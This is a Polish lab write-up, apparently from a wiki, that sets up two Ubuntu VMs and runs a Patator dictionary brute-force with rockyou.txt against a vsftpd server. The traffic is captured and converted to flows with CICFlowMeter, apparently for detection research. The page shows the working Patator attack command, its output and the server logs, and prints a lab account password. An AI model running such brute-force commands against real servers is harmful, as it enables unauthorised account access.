To jest stara wersja strony!
Opis:
Środowisko składa się z dwóch maszyn wirtualnych (VM) działających na Ubuntu Server:
Każda z Maszyn ma dysk o rozmiarze 8GB (Wymagania minimalne ubuntu mówią o minimalnie 5GB). Dyski są w formacie vhdx, wykorzystywanym przez hyper-v.
Dyski maszyn można pobrać z linków poniżej:
Komponent | Wersja | Nazwa |
---|---|---|
System operacyjny maszyn wirtualnych | 24.04.2 LTS | Ubuntu Server |
Hypervisor | Wersja: 10.0.26100.1882 | Hyper-V |
Serwer FTP | 3.0.5 | VSFTPD |
Narzędzie ataku | 1.0 | Patator |
Przechwytywanie ruchu | 4.99.1 | tcpdump |
Analiza Ruchu | 0.4.2 | CICFlowMeter |
Słownik do ataku | ok. 14 MB, 14344392 haseł | rockyou.txt |
administrator@target:~$ sudo apt update -y [sudo] password for administrator: Hit:1 http://security.ubuntu.com/ubuntu noble-security InRelease Hit:2 http://archive.ubuntu.com/ubuntu noble InRelease Hit:3 http://archive.ubuntu.com/ubuntu noble-updates InRelease Hit:4 http://archive.ubuntu.com/ubuntu noble-backports InRelease Reading package lists... Done Building dependency tree... Done Reading state information... Done 58 packages can be upgraded. Run 'apt list --upgradable' to see them. administrator@target:~$ sudo apt install vsftpd -y [LOGI Z INSTALACJI]
Zmiany w pliku konfiguracyjnym /etc/vsftpd.conf
:
anonymous_enable=NO local_enable=YES write_enable=YES listen=YES listen_ipv6=NO
Tworzenie użytkownika FTP z hasłem a7s8d6a8s7d6a8s7d68s7
:
administrator@target:~$ sudo adduser ftpuser info: Adding user `ftpuser' ... info: Selecting UID/GID from range 1000 to 59999 ... info: Adding new group `ftpuser' (1001) ... info: Adding new user `ftpuser' (1001) with group `ftpuser (1001)' ... info: Creating home directory `/home/ftpuser' ... info: Copying files from `/etc/skel' ... New password: Retype new password: passwd: password updated successfully Changing the user information for ftpuser Enter the new value, or press ENTER for the default Full Name []: Room Number []: Work Phone []: Home Phone []: Other []: Is the information correct? [Y/n] y info: Adding new user `ftpuser' to supplemental / extra groups `users' ... info: Adding user `ftpuser' to group `users' ... administrator@target:~$
Restart usługi:
administrator@target:~$ sudo systemctl restart vsftpd administrator@target:~$ sudo systemctl status vsftpd.service ● vsftpd.service - vsftpd FTP server Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; enabled; preset: e> Active: active (running) since Thu 2025-06-19 15:00:47 UTC; 6s ago Process: 4065 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited> Main PID: 4068 (vsftpd) Tasks: 1 (limit: 4602) Memory: 704.0K (peak: 1.5M) CPU: 7ms CGroup: /system.slice/vsftpd.service └─4068 /usr/sbin/vsftpd /etc/vsftpd.conf Jun 19 15:00:47 target systemd[1]: Starting vsftpd.service - vsftpd FTP server.> Jun 19 15:00:47 target systemd[1]: Started vsftpd.service - vsftpd FTP server. administrator@target:~$
Instalacja Narzędzi:
administrator@attacker:~$ sudo apt update -y [sudo] password for administrator: Hit:1 http://security.ubuntu.com/ubuntu noble-security InRelease Hit:2 http://archive.ubuntu.com/ubuntu noble InRelease Hit:3 http://archive.ubuntu.com/ubuntu noble-updates InRelease Hit:4 http://archive.ubuntu.com/ubuntu noble-backports InRelease Reading package lists... Done Building dependency tree... Done Reading state information... Done 58 packages can be upgraded. Run 'apt list --upgradable' to see them. administrator@attacker:~$ sudo apt install git python3-pip tcpdump -y [TUTAJ LOGI Z INSTALACJI]
Przed instalacją patatora dodano repozytoria kali-linux do ubuntu.
Instalacja Patatora:
administrator@attacker:~$ sudo apt install patator -y [TUTAJ LOGI Z INSTALACJI]
Instalacja CICFlowMeter w wersji Python:
administrator@attacker:~/patator$ pip install cicflowmeter [TUTAJ LOGI Z INSTALACJI]
Pobranie słownika do ataku:
administrator@attacker:~$ wget https://github.com/danielmiessler/SecLists/raw/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz --2025-06-19 15:19:13-- https://github.com/danielmiessler/SecLists/raw/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz Resolving github.com (github.com)... 140.82.121.3 Connecting to github.com (github.com)|140.82.121.3|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz [following] --2025-06-19 15:19:14-- https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 53291283 (51M) [application/octet-stream] Saving to: ‘rockyou.txt.tar.gz’ rockyou.txt.tar.gz 100%[=================================================================================================================>] 50.82M 1.56MB/s in 32s 2025-06-19 15:19:48 (1.59 MB/s) - ‘rockyou.txt.tar.gz’ saved [53291283/53291283] administrator@attacker:~$ tar -xzf rockyou.txt.tar.gz administrator@attacker:~$ wc -l rockyou.txt #liczba haseł około 14 milionów 14344391 rockyou.txt administrator@attacker:~$ head rockyou.txt #pierwsze wpisy w pliku 123456 12345 123456789 password iloveyou princess 1234567 rockyou 12345678 abc123
Ping:
administrator@target:~$ ping 10.10.10.2 PING 10.10.10.2 (10.10.10.2) 56(84) bytes of data. 64 bytes from 10.10.10.2: icmp_seq=1 ttl=64 time=0.180 ms 64 bytes from 10.10.10.2: icmp_seq=2 ttl=64 time=0.229 ms 64 bytes from 10.10.10.2: icmp_seq=3 ttl=64 time=0.269 ms 64 bytes from 10.10.10.2: icmp_seq=4 ttl=64 time=0.286 ms 64 bytes from 10.10.10.2: icmp_seq=5 ttl=64 time=0.266 ms 64 bytes from 10.10.10.2: icmp_seq=6 ttl=64 time=0.293 ms 64 bytes from 10.10.10.2: icmp_seq=7 ttl=64 time=0.284 ms ^C --- 10.10.10.2 ping statistics --- 7 packets transmitted, 7 received, 0% packet loss, time 6182ms rtt min/avg/max/mdev = 0.180/0.258/0.293/0.037 ms administrator@target:~$
FTP:
administrator@attacker:~$ ftp 10.10.10.1 Connected to 10.10.10.1. 220 (vsFTPd 3.0.5) Name (10.10.10.1:administrator): ftpuser 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||8296|) 150 Here comes the directory listing. 226 Directory send OK. ftp>
W jednej sesji terminala uruchomienie przechwytywania:
sudo tcpdump -i eth1 port 21 -w ftp_attack.pcap
W drugiej sesji terminala atak Patator:
administrator@attacker:~$ patator ftp_login host=10.10.10.1 user=ftpuser password=FILE0 0=rockyou.txt -x ignore:mesg='Login incorrect' --rate-limit=50 15:39:45 patator INFO - Starting Patator 1.0 (https://github.com/lanjelot/patator) with python-3.12.3 at 2025-06-19 15:39 UTC 15:39:45 patator INFO - 15:39:45 patator INFO - code size time | candidate | num | mesg 15:39:45 patator INFO - ----------------------------------------------------------------------------- 15:40:38 patator INFO - 530 16 2.772 | 123456 | 1 | Login incorrect. 15:40:38 patator INFO - 530 16 2.778 | 12345 | 2 | Login incorrect. 15:40:38 patator INFO - 530 16 2.785 | 123456789 | 3 | Login incorrect. 15:40:38 patator INFO - 530 16 2.770 | password | 4 | Login incorrect. 15:40:38 patator INFO - 530 16 2.770 | iloveyou | 5 | Login incorrect. 15:40:38 patator INFO - 530 16 2.786 | princess | 6 | Login incorrect. 15:40:38 patator INFO - 530 16 2.776 | 1234567 | 7 | Login incorrect. 15:40:38 patator INFO - 530 16 2.773 | rockyou | 8 | Login incorrect. 15:40:38 patator INFO - 530 16 2.784 | 12345678 | 9 | Login incorrect. 15:40:38 patator INFO - 530 16 2.778 | abc123 | 10 | Login incorrect. [TUTAJ CIĄGNIE SIĘ DALEJ]
–rate-limit=50
: ogranicza tempo ataku do 50 prób/sekundę (by nie przytłoczyć serwera)rockyou.txt
: używa ogólnodostępnego słownikaW tym przypadku atak się nie powiedzie, ponieważ utworzone hasło nie znajduje się w rockyou.txt – i o to właśnie chodzi: chodzi o symulację nieudanego ataku, który będzie wyraźnie widoczny w ruchu.
Fragment logu z /var/log/vsftpd.log:
administrator@target:~$ sudo tail -f /var/log/vsftpd.log [sudo] password for administrator: Thu Jun 19 15:27:39 2025 [pid 6752] CONNECT: Client "10.10.10.2" Thu Jun 19 15:27:50 2025 [pid 6751] [ftpuser] OK LOGIN: Client "10.10.10.2" Thu Jun 19 15:40:35 2025 [pid 7001] CONNECT: Client "10.10.10.2" Thu Jun 19 15:40:35 2025 [pid 7003] CONNECT: Client "10.10.10.2" Thu Jun 19 15:40:35 2025 [pid 7005] CONNECT: Client "10.10.10.2" Thu Jun 19 15:40:35 2025 [pid 7007] CONNECT: Client "10.10.10.2" Thu Jun 19 15:40:35 2025 [pid 7009] CONNECT: Client "10.10.10.2" Thu Jun 19 15:40:35 2025 [pid 7011] CONNECT: Client "10.10.10.2" Thu Jun 19 15:40:35 2025 [pid 7013] CONNECT: Client "10.10.10.2" Thu Jun 19 15:40:35 2025 [pid 7015] CONNECT: Client "10.10.10.2" Thu Jun 19 15:40:35 2025 [pid 7017] CONNECT: Client "10.10.10.2" Thu Jun 19 15:40:35 2025 [pid 7019] CONNECT: Client "10.10.10.2" Thu Jun 19 15:40:37 2025 [pid 7000] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:40:37 2025 [pid 7006] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:40:37 2025 [pid 7002] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:40:37 2025 [pid 7008] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:40:37 2025 [pid 7004] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:40:37 2025 [pid 7014] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:40:37 2025 [pid 7012] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:40:37 2025 [pid 7010] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:40:37 2025 [pid 7016] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:40:37 2025 [pid 7018] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:41:30 2025 [pid 7006] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:41:30 2025 [pid 7000] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:41:30 2025 [pid 7008] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:41:30 2025 [pid 7002] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:41:30 2025 [pid 7012] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:41:30 2025 [pid 7014] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:41:30 2025 [pid 7004] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:41:30 2025 [pid 7010] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:41:30 2025 [pid 7016] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:41:30 2025 [pid 7018] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:42:23 2025 [pid 7006] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:42:23 2025 [pid 7008] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:42:23 2025 [pid 7002] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:42:23 2025 [pid 7000] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:42:23 2025 [pid 7012] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:42:23 2025 [pid 7010] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:42:23 2025 [pid 7004] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:42:23 2025 [pid 7014] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:42:23 2025 [pid 7018] [ftpuser] FAIL LOGIN: Client "10.10.10.2" Thu Jun 19 15:42:23 2025 [pid 7016] [ftpuser] FAIL LOGIN: Client "10.10.10.2" [TUTAJ CIĄGNIE SIĘ DALEJ]
Po 765 próbach (~122min) zatrzymano eksperyment
cicflowmeter -f ftp_attack.pcap -o output/
W katalogu output/
został zapisany plik ftp_attack_Flow.csv
.